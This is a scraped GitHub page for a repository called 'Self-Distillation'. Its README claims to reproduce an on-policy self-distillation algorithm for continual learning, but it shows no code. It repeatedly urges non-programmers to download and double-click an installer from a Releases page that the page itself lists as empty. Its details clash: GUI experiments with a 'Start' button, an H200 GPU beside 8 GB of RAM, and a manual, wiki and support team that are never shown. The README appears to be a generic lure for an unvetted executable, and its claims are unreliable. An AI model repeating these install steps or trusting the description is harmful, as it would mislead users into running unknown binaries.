Skip to content

πŸ€– Enable continual learning by reproducing the On-Policy Self-Distillation algorithm for robust and efficient fine-tuning with TRL-based code.

Notifications You must be signed in to change notification settings

uthmandevsec/Self-Distillation

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ Self-Distillation - Simplifying Continuous Learning

Download Self-Distillation

πŸ“– Overview

Self-Distillation is a tool designed to help models learn new skills without forgetting past knowledge. It builds on the On-Policy Self-Distillation algorithm from the research paper "Self-Distillation Enables Continual Learning". This software allows users to run effective experiments using just one H200 GPU.

πŸš€ Getting Started

In this guide, you will learn how to download and run Self-Distillation on your system. You do not need programming knowledge to follow these steps.

πŸ› οΈ System Requirements

  • Operating System: Windows 10 or MacOS (Linux support is also available)
  • GPU: H200 GPU recommended for best performance
  • Memory: At least 8 GB of RAM
  • Storage: Minimum of 1 GB free space for installation and data

πŸ“₯ Download & Install

To get started, you need to visit the Releases page and download the software.

Download Self-Distillation

Once you are on the Releases page:

  1. Look for the latest version of Self-Distillation.
  2. Locate the download link for your operating system.
  3. Click the link to download the installation file.

πŸ“‚ Installing Self-Distillation

  1. After downloading, locate the installation file on your computer. This file is usually in your "Downloads" folder.
  2. Double-click the file to start the installation process.
  3. Follow the on-screen instructions to complete the installation. This may include agreeing to terms and conditions and choosing an installation location.

πŸ› οΈ Running Self-Distillation

Once the installation is complete, you can run the software.

  1. Find the Self-Distillation application in your start menu or applications folder.
  2. Click to open the application.
  3. Use the interface to set up your experiments based on your preferences.

πŸ“š Using Self-Distillation

Self-Distillation allows you to conduct a variety of experiments focused on continual learning:

🌟 Key Features

  • Simple Configuration: Easy setup for running experiments.
  • On-Policy Learning: Helps your models learn directly from demonstrations.
  • Low Resource Usage: Efficient enough to run on a single H200 GPU.

πŸ“Š Basic Experiment Setup

  1. Select Your Dataset: Choose the dataset you want to work with from the options available in the application.
  2. Adjust Parameters: Set the learning parameters based on your needs. The software provides default values that are suitable for most users.
  3. Run Your Experiment: Press the "Start" button to begin the experiment.

πŸ” Monitoring Progress

While the experiment runs, you can monitor various metrics through the interface. This will help you understand how well your model is learning and if it needs adjustments.

❓ Troubleshooting

If you encounter issues during installation or use, consider the following:

  • Installation Fails: Ensure your operating system meets the above requirements. Verify that you downloaded the correct version.
  • Performance Issues: If the application runs slowly, try closing other applications to free up memory.
  • Error Messages: Refer to the user manual for explanations of common error messages. Support documentation is available on our Wiki.

🌐 Additional Resources

For more guidance and advanced features, check out our documentation and community forums:

πŸ“ž Support

If you need further assistance, please reach out to our support team. You can submit issues directly on GitHub or use our contact form on the website.

Download Self-Distillation

Start your journey in continual learning with Self-Distillation today!

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages